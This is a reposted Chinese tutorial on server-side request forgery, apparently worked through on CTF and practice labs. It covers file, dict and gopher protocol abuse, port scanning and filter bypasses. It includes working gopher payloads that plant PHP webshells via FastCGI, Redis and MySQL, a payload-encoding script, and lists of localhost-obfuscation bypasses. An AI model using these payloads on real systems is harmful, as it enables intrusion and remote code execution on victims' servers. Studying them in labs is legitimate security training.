服務端請求偽造(SSRF)


img

img

0x01:服務器端請求偽造的概念

​ SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)

​ 利用一台可以進行網絡請求的服務器做為跳板攻擊其他服務器。

通俗來講,有兩個網站:
A網站,所有人都可以訪問的外網網站的
B網站,只能內部訪問的網站
A網站能訪問B網站
所以,作為普通用戶,我們可以訪問A網站,然后篡改獲取資源的來源,請求從B網站獲取資源。A網站沒有檢測我的請求合不合法,以自己A網站的身份去訪問B網站,於是我們就有機會攻擊B網站。

0x02:SSRF能干什么

1、SSRF可以對服務器所在內網其他機器和本地機器進行端口掃描,探測內網其他主機存活

2、向內部任意主機的任意端口發送精心構造的數據包,攻擊運行在內網或本地的應用,比如未授權的redis、mysql等。

3、利用File協議讀取本地文件。

4、DOS攻擊(請求大文件,始終報錯keep-alive alway)

靶場地址:http://59.63.200.79:8019/

0x03:SSRF相關的函數和協議

1. 函數

file_get_contents():將整個文件或一個url所指向的文件讀入一個字符串中
readfile():輸出一個文件的內容
fsockopen():打開一個網絡連接或者一個Unix 套接字連接
curl_exec():初始化一個新的會話,返回一個cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函數使用
fopen():打開一個文件文件或者 URL
PHP原生類SoapClient在觸發反序列化時可導致SSRF

2. 協議

file協議: 在有回顯的情況下,利用 file 協議可以讀取任意文件的內容
dict協議:泄露安裝軟件版本信息,查看端口,操作內網redis服務等
gopher協議:gopher支持發出GET、POST請求。可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議(俗稱萬能協議)。可用於反彈shell
http/s協議:探測內網主機存活

0x04:SSRF基礎用法

curl 模擬瀏覽器請求的,比如獲取獲取遠程的網頁,文件等,

if(isset($_GET['url']) && $_GET['url'] != null){
    //接收前端URL沒問題,但是要做好過濾,如果不做過濾,就會導致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;

http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

image-20211021121050943

http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:80

image-20211021121812453

1. 任意文件讀取

1.1 pikachu靶場

利用file協議讀取本地文件

http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:/a.txt

image-20211021121904794

利用file協議讀取php文件

image-20211021122258446

內容在頁面源碼里面

image-20211021122317223

1.2 CTFhub

http://challenge-3f48eabbf8524a87.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

image-20211021152416581

2. 探測內網主機存活

​ 一般是先想辦法得到目標主機的網絡配置信息,如讀取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,從而獲得目標主機的內網網段並進行爆破。我們可以借助burp中的爆破模塊進行存活主機探測。

Pikachu靶場

image-20211021122755161

image-20211021122810848

image-20211021124003750

3. 掃描內網端口

3.1 Pikachu靶場

通過dict協議可以探測到內網服務器的端口,如果端口沒開放不會有回顯。

image-20211021124357104

image-20211021124533459

image-20211021124641795

3.2 CTFhub

在SSRF中,dict協議與http協議可用來探測內網的主機存活與端口開放情況。這里的端口掃描我們用burpsuite來完成。首先抓包,發送到Intruder進行爆破設置:

image-20211021153004932

image-20211021153014044

image-20211021153120413

image-20211021153127991

0x05:SSRF進階用法

1. POST請求

Gopher協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議,不過現在gopher協議用得已經越來越少了Gopher協議可以說是SSRF中的萬金油。利用此協議可以攻擊內網的 Redis、Mysql、FastCGI、Ftp等等,也可以發送 GET、POST 求。這無疑極大拓寬了 SSRF 的攻擊面。

1.1 CTFhub

目錄掃描獲取到知道存在flag.php文件,我們通過SSRF漏洞讀取flag.php的源碼文件。

?url=file:///var/www/html/flag.php

image-20211024220940471

提示只能來自127.0.0.1。

?url=http://127.0.0.1/flag.php

image-20211024221819861

拿到了key,只需要構造POST請求,把key提交給flag.php頁面即可

構造一個POST請求包,POST、Host、Content-Type和Content-Length是POST請求必須的。如果少了會報錯的,GET請求不會。Content-Length為字符串"key=536c7b793ac0ea703996c111911c1a2a"的長度。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=5e37e6b3f645b286834aabb8a49dac71

將數據包進行編碼

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f1ddd2efba9480d821debc09bfa09d4d
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

然后發送goher協議,gopher協議的具體格式

gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1ddd2efba9480d821debc09bfa09d4d%250D%250A

image-20211024223949954

2. 上傳文件

2.1 CTFhub

訪問flag.php文件,上傳webshell抓包

image-20211024225829855

修改上面的腳本,將捕獲到的文件上傳的數據包放進去。

image-20211024230714693

通過gopher協議發送payload。

image-20211024230115431

3. 攻擊FastCGI協議

工具地址:https://github.com/tarunkant/Gopherus

生成paylod

image-20211024235200180

進行二次編碼后將最終的payload內容放到?url=后面發送過去(GET會進行一次解碼,curl再進行一次解碼),將%和:編碼

% -> %25
: -> %3a

獲得payload

gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/1.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

出現如下banner信息說明攻擊成功

image-20211024232723578

直接蟻劍連接

image-20211024235431565

4.攻擊Redis協議

Redis是一個key-value存儲系統,默認端口6379,未授權常用getshell的方式:寫webshell,定時任務反彈shell,ssh寫公鑰。

直接訪問6379端口,出現如下banner信息大概率存在redis未授權漏洞

image-20211025002145684

4.1 CTFhub

生成gopher協議的payload

image-20211025002708505

做二次url編碼

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

訪問shell.php

image-20211025104731668

Webshell寫入成功,查看文件

image-20211025104806558

查看flag文件

image-20211025104927569

4.2 CTFshow Web入門 360題

image-20211231100456551

然后將_后面的進行urlencode編碼。發送,默認shell的名字時shell.php,執行命令拿到flag

image-20211231100543122

5. 攻擊Mysql

5.1 CTFshow Web入門 359題

select "<?php eval($_POST[cmd]); ?>" into outfile "/var/www/html/cmd.php";

image-20211231095117334

將_后面的字符全部進行urlencode編碼一次,編碼網址:https://meyerweb.com/eric/tools/dencoder/

編碼后結果為

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501

發送

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501

然后執行命令

image-20211231095502651

0x06:SSRF Bypass的方法

1. SSRF URL Bypass

提示只允許下面的域名訪問。

image-20211025002926270

我們可以利用@來繞過

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

2. SSRF 進制轉換 Bypass

進制繞過,這里有個在線轉換網站

https://tool.520101.com/wangluo/jinzhizhuanhuan/

十六進制
url=http://0x7F.0.0.1/flag.php

八進制
url=http://0177.0.0.1/flag.php

10 進制整數格式
url=http://2130706433/flag.php

16 進制整數格式,還是上面那個網站轉換記得前綴0x
url=http://0x7F000001/flag.php

還有一種特殊的省略模式
127.0.0.1寫成127.1

用CIDR繞過localhost
url=http://127.127.127.127/flag.php

還有很多方式不想多寫了
url=http://0/flag.php
url=http://0.0.0.0/flag.php
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

2.1 CTFHUB

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十進制:";
echo $r;
echo "八進制:";
echo decoct($r);
echo "十六進制:";
echo dechex($r);
?>
127.0.0.1:
八進制:0177.0.0.1
十六進制:0x7f.0.0.1
十進制:2130706433

image-20211025003748012

image-20211025003617696

2.2 CTFshow Web入門 web352-353

image-20211230135229141

2.3 CTFshow Web入門 web355

設置了$host<5的限制,隨便來個利用127.0.0.1=127.1剛好是5位

image-20211230161419496

2.4 CTFshow Web入門 web356

限制$host<3

image-20211230161606899

3. SSRF 302跳轉bypass

3.1 方法一:借助重定向網址

網址http://xip.io 當訪問這個服務的任意子域名的時候,都會重定向到這個子域名,舉個例子:當我們訪問 http://127.0.0.1.xip.io/flag.php,那么實際上我們訪問的是就 http://127.0.0.1/flag.php。

但是http://xip.io網址不可用,失敗,嘗試其他網站比如:

https://nip.io/

https://sslip.io/

也沒有成功。

img

3.2 方法二:借助短鏈接

https://tinyurl.com/app/

image-20211025102555695

3.2.1 CTFHUB

image-20211025102607999

3.2.2 CTFshow Web入門 web357

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范圍內。該標志接受 IPV4 和 IPV6 值

image-20211230164051874

3.3 方法三:借助服務器重定向

當ssrf限制只能使用http或https協議,可通過Header函數繞過限制。在vps創建一個302.php的文件,根據需求設置協議類型,內容參考下圖:

微信圖片_20210805145037

將對應的url參數改為:http://vpsip/302.php即可進行深度利用。

4. SSRF DNS-Rebinding重綁定

title

1、獲取到用戶輸入的url

2、解析出url中host的ip

3、判斷ip是否合法

4、合法則進行服務端請求。

​ 在這個流程中,一共存在兩次 DNS解析,第一次是解析HOST對對應的IP,第二次是服務端請求時解析一次IP,兩次請求是存在時間差的,這個時間差對應的機制就是TTL,它表示域名和IP綁定在DNS里面能存活的時長。如果我們能在這個TTL時間內替換HOST對應的IP為內網IP,那么緩存在TTL到期時,就可以請求到內網的資源了。

​ 總結來說,DNS 重綁定攻擊的原理是:利用服務器兩次解析同一域名的短暫間隙,更換域名背后的ip達到突破同源策略或過waf進行ssrf的目的。

利用DNS重綁定輔助網址:https://lock.cmpxchg8b.com/rebinder.html

image-20211025102403631

4.1 CTFHUB

image-20211025101225320

4.2 CTFshow

A記錄是127.0.0.1的網站: http://sudo.cc/,可以不用解析自己的。

image-20211230155725526

0x07:參考鏈接

以上內容來自如下鏈接:

https://www.freebuf.com/articles/web/258365.html

https://www.freebuf.com/articles/web/265646.html

https://zhuanlan.zhihu.com/p/89426041

https://xz.aliyun.com/t/7333

https://hackmd.io/@Lhaihai/H1B8PJ9hX#smbsmbs


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM